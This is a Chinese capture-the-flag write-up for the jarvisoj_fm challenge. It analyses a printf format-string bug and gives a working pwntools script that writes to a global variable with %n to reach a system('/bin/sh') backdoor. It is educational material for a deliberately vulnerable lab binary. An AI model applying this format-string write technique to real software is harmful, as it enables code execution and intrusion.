【CTF】jarvisoj_fm 1

解题思路

反编译,查找漏洞

undefined4 main(void)
{
  int iVar1;
  undefined4 *puVar2;
  int in_GS_OFFSET;
  byte bVar3;
  undefined4 local_64 [20];
  int local_14;
  
  bVar3 = 0;
  local_14 = *(int *)(in_GS_OFFSET + 0x14);
  be_nice_to_people();
  iVar1 = 0x14;
  puVar2 = local_64;
  while (iVar1 != 0) {
    iVar1 = iVar1 + -1;
    *puVar2 = 0;
    puVar2 = puVar2 + (uint)bVar3 * -2 + 1;
  }
  read(0,local_64,0x50);
  printf((char *)local_64);
  printf("%d!\n",x);
  if (x == 4) {
    puts("running sh...");
    system("/bin/sh");
  }
  if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

从题目来看,意图很明显,因为后门就在条件判断的地方

  if (x == 4) {
    puts("running sh...");
    system("/bin/sh");
  }

那可利用的点,很明显,有一个read函数,local_64长度为20,但是限制为0x50,是可以溢出利用的。是不是很简单?
(经过多次毒打之后,我已经没那么乐观了)

read(0,local_64,0x50);

OK,先按这个思路去溢出下试试,看看是否能够直接改写返回地址,果然,最大长度,也无法到达返回地址。看下汇编代码:

                     undefined main(undefined param_1, undefined4 param_2)
0804854d 55              PUSH       EBP
0804854e 89 e5           MOV        EBP,ESP
08048550 57              PUSH       EDI
08048551 53              PUSH       EBX
08048552 83 e4 f0        AND        ESP,0xfffffff0
08048555 83 c4 80        ADD        ESP,-0x80

函数进来就有个抬栈的动作,0x50够不到返回地址也就正常了。
继续寻找,发现printf函数,直接使用输入作为输出,可以利用格式化漏洞%n。

printf((char *)local_64);

再结合进入后门的判断条件x==4, 基本可以确定题目思路是利用%n改写x的值,从而进入后门分支。

解题过程

接下来就要确定字符串输入了,先看下printf的时候栈的构造:

0000| 0xffffd280 --> 0xffffd2ac ("%c%c...") -- 1
0004| 0xffffd284 --> 0xffffd2ac ("%c%c%...") -- 2
0008| 0xffffd288 --> 0x50 ('P')
0012| 0xffffd28c --> 0xc2
0016| 0xffffd290 --> 0x0
0020| 0xffffd294 --> 0xc30000
0024| 0xffffd298 --> 0x0
0028| 0xffffd29c --> 0xffffd3a4 --> 0xffffd500 (".../jarvisoj_fm/fm")
0032| 0xffffd2a0 --> 0x0
0036| 0xffffd2a4 --> 0x0
0040| 0xffffd2a8 --> 0x38 ('8')
0044| 0xffffd2ac ("%c%c%...")               -- 3

其中1处为printf入参,2开始就是可以利用的栈上参数,3处为local_64的栈上地址。2~3之间参数距离为10.
OK,到这里需要解决的点就比较清楚了:
1 构造的字符串,需要吞掉前面10个参数,同时吞掉自己的空间占用,最终为%n的写入创造条件
2 x全局变量的定义为3,根据1的分析,无论如何,输出长度都会大于10,如何将x修改为4?

 0804a02c 03 00 00 00     undefined4 00000003h

解决这两个问题费了我不少时间,走了不少弯路,不是一般菜。
对于第一个问题,选择使用%c来吞掉确定的参数(%p等长度都不确定),用限制宽度的方式%宽度x,来补齐需要的长度,长度待定。
对于第二个问题,如果直接修改0804a02c,没办法修改为4。但是小端序的情况,往前一个字节,是有可能的。

0804a02b 00 04 00 00 --> 0804a02c 04 00 00 00 

即将0804a02b修改为0x0400,也就是%n输出长度为1024,就能达成。
那就剩下最后一个问题,需要多少个%c来吞掉参数,抽象一下:

 %c长度为2    %widthx宽度占用为4字节(1024)          %n长度为2           0804a02b地址长度为4            总长度应为4的整数倍
     2x            +      6                                               +        2                  +                  4                            =            4y 

参见栈构造2~3之间的距离       输入字符串长度(%4)的占用      %c吞掉的参数       %widthx吞掉的参数         %n吞掉的参数
   10                     +            y                =    x       +          1               +          1

算一下公式,x=22,y=14,with=1024-22=1002
OK,到这基本大功告成了。

解题脚本

  1 from pwn import *
  3 elf = ELF('fm')
  4 #libc = ELF('libc-2.27.so') # 根据环境不同进行替换
  5
  6 context(arch = 'amd64', os = 'linux',log_level = 'debug', terminal="/bin/sh")
  7
  8 #asm()将接受到的字符串转变为汇编码的机器代码,而shellcraft可以生成asm下的shellcode
  9 #shellcode=asm(shellcraft.amd64.linux.sh())
 10 #print(len(shellcode))
 11 #print(shellcode)
 12
 13 sh = process('./fm')
 14 #sh.recvuntil('story!\n')
 15
 16 x_address = 0x0804a02b
 17 #pad = '%x'* 21 + '%n'
 18 pad = '%c' * 22 + '%1002x'  + '%n'
 19 payload = pad.encode() +  p32(x_address)
 20 sh.sendline(payload)
 21
 26
 27 with open('payload.txt', 'wb') as f:
 28    f.write(payload)
 29    #f.write(b'\n\n\n\n')
 30    #f.write(payload1)
 31
 32
 33 sh.sendline(payload)
 34
 35 sh.interactive()

总结

上面算长度的公式,折腾了好久,折腾完发现挺简单,还挺有成就感,但是过程挺折磨,可能还是脑子不习惯数学公式很久了吧,该复习高数或者算法了?

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值